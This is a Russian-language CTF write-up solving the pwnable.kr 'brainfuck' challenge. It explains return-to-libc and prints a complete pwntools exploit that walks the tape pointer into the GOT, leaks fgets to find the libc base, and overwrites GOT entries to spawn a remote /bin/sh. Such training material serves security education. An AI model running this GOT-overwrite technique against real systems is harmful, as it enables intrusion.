Как стать автором
Обновить

Решение задания с pwnable.kr 22 — brainfuck. Атака типа ret2libc

Время на прочтение5 мин
Количество просмотров2.7K
image

В данной статье решим 22-е задание с сайта pwnable.kr и узнаем категорию атак, подразумевающих перезапись адреса в GOT на адрес нужной нам функции из библиотеки.

Организационная информация
Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;
  • криптография (Crypto);
  • cетевые технологии (Network);
  • реверс (Reverse Engineering);
  • стеганография (Stegano);
  • поиск и эксплуатация WEB-уязвимостей.

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике, анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Атака возврата в библиотеку


Атака возврата в библиотеку (Return-to-libc attack) — один из видов компьютерных атак, связанных с переполнением буфера, когда адрес возврата функции на стеке подменяется адресом другой функции в программе, и в последующую часть стека записываются параметры для вызываемой функции. Данная техника позволяет атакующему выполнить какую-либо существующую в библиотеке функцию без необходимости внедрять вредноносный код в программу.

В Linux имеется разделяемая библиотека libc, предоставляющая функции языка Си и стандарта POSIX, например system() для выполнения произвольных команд. Подобные библиотеки существуют и в ОС семейства Windows. Хотя атакующий может заставить программу совершить переход по любому адресу, большинство программ используют libc (слинкованы с ней), в ней имеются удобные функции запуска произвольных команд. Поэтому функции стандартной библиотеки являются наиболее вероятной целью подобных эксплойтов, что и дало название классу атак.

Решение задания horcruxes


Начинаем второй раздел. Скажу сразу, что сложнее первого и нам не предоставляется исходный код приложений. Не забываем про обсуждение здесь. Начнем.

Нажимаем на иконку с подписью brain fuck. Нам дают адрес и порт для подключения, саму программу, библиотеку libc для нее и объяняют, что это эмулятор языка brainfuck.

image

Скачиваем все что нам дают, проверяем бинарник. Это 32-битный elf, поэтому декомпилируем программу в IDA Pro.

image

В функции main никаких уязвимостей нет. Выделение памяти и количество введенных символов в переменную s контролируется. Перед этим инициализируется указатель p. Давайте взглянем на функцию brainfuck.

image

Данная функция применяется для каждого символа введенной нами строки. Она содержит последовательность действий, взависимости от символа. Полный набор команд выглядит так:

  • +: прибавит единицу к значению, расположенному по адресу p;
  • ,: принимает еще один символ из стандартного ввода и зпримывает его по адресу p;
  • -: вычитает единицу из значения по адресу p;
  • .: выводит символ по адресу p;
  • <: вычитает из p;
  • >: прибавляет к p.

image

Таким образом решение нашего задания будет происходить через манипулированием указателем p. Найдем его начальный адрес. В функции main по в p заносится адрес переменной tape, то есть 0x804a0a0.

image

При этом по адресу 0x804a000 расположена секция got.plt, де хранятся адреса на использумемые функции в библиотеке libc. Про GOT и PLT я уже писал тут.

image

Так как манипулируя указателем p мы можем добраться до GOT, то мы можем реализовать атаку типа ret2libc. Для этого нам нужно будет переписать адрес импользуемой функции на адрес функции system() из libc (нам даже библиотеку дали).

Таким образом вырисовывается следующий вектор атаки:

  1. перепишем адрес fgets на адрес функции system;
  2. перепишем адрес memset на gets;
  3. перепишем адрес putchar на main.

Что из этого выйдет: после выполнения действий, обозначенныз выше, при вызове функции putchar будет вызвана функция main, которая вместо memset вызовет gets и считает введенную нами строку на стек. После чего вместо fgets будет вызвана system, которая возбмет аргумент со стека (то есть введенную нами строку).

Давайте реализуем это. Сначала создаем шаблон, который содержит адреса указателя и функций:

from pwn import *

r = remote('pwnable.kr', 9001)

p = 0x804a0a0

p_fgets = 0x804a010
p_puts = 0x804a018
p_putchar = 0x804a030
p_main = 0x8048671

Теперь напишем функцию, которая будет сдвигать указатель на необходимое нам количество шагов:

def mvAddr(n):
	global p 
	p += n
	if n > 0:
		return ">"*n
	else:
		return "<"*((-1)*n)

Функция, которая читает 4 байта:

def readVar():
	return ".>"*4 + "<"*4

Функция, которая примет и запишет 4 байта:

def writeVar():
	return ",>"*4 + "<"*4

Теперь напишем нагрузку.Она проста — движемся к адресу fgets, читаем (позже скажу для чего), перезаписываем… Идем к адресу memset — перезаписываем, идем к адресу putchar — перезаписываем. Все как в идее.

payload = mvAddr(p_fgets - p)
payload += readVar()
payload += writeVar()
payload += mvAddr(p_memset - p)
payload += writeVar()
payload += mvAddr(p_putchar - p)
payload += writeVar()
payload += '.'

Так для чего читать адрес fgets? Так как это got.plt, то мы читаем адрес fgets связанной библиотеке libc. Так как у нас есть просто библиотека libc (не связанная), то вычитая из адреса функции в связанной библиотеке адрес той же функции в несвязанной библиотеки — мы определим базу, то есть адрес с которого библиотека связана м файлом (начало кода библиотеки). Потом прибавляя к базе смещение любой фукции в несвязанной библиотеке, мы попадним на адрес этой функции в уже связанной. То есть мы вызовем из бинарника функцию, котрая даже не была определена…

Итак, эта нагрузка даст нам адрес функции в слинкованной библиотеке. Давайте найдем ее адрес в неслинкованной.

libc = ELF('./bf_libc.so')
fgets_addr_libc = libc.symbols['fgets']

А теперь уже учитывая ответы сервера, найдем базу.

r.recvline()
r.recvline()
r.send(payload+'\n')

fgets_addr_bin = u32(r.recv() + r.recv())
libc_base = int( fgets_addr_bin - fgets_addr_libc)

Теперь получим адреса других функций с учетом базы.

system = libc_base + libc.symbols['system']
gets = libc_base + libc.symbols['gets']

И реализуем нашу идею.

r.send(p32(system))
r.send(p32(gets))
r.send(p32(p_main))
r.send("/bin/sh" + '\n')

r.interactive()

Полный код
from pwn import *

r = remote('pwnable.kr', 9001)

p = 0x804a0a0

p_fgets = 0x804a010
p_memset = 0x804a02c
p_putchar = 0x804a030
p_main = 0x8048671

def mvAddr(n):
	global p 
	p += n
	if n > 0:
		return ">"*n
	else:
		return "<"*((-1)*n)

def readVar():
	return ".>"*4 + "<"*4

def writeVar():
	return ",>"*4 + "<"*4

payload = mvAddr(p_fgets - p)
payload += readVar()
payload += writeVar()
payload += mvAddr(p_memset - p)
payload += writeVar()
payload += mvAddr(p_putchar - p)
payload += writeVar()
payload += '.'

libc = ELF('./bf_libc.so')
fgets_addr_libc = libc.symbols['fgets']


r.recvline()
r.recvline()
r.send(payload+'\n')
fgets_addr_bin = u32(r.recv() + r.recv())

libc_base = int( fgets_addr_bin - fgets_addr_libc)

system = libc_base + libc.symbols['system']
gets = libc_base + libc.symbols['gets']

r.send(p32(system))
r.send(p32(gets))
r.send(p32(p_main))
r.send("/bin/sh" + '\n')

r.interactive()


image

Получаем искомый флаг и начинаем вторую часть заданий на pwnable.kr.

image

Вы можете присоединиться к нам в Telegram. В следующий раз разберемся с переполнением кучи.
Теги:
Хабы:
+6
Комментарии0

Публикации

Изменить настройки темы

Истории

Работа

Ближайшие события

Weekend Offer в AliExpress
Дата20 – 21 апреля
Время10:00 – 20:00
Место
Онлайн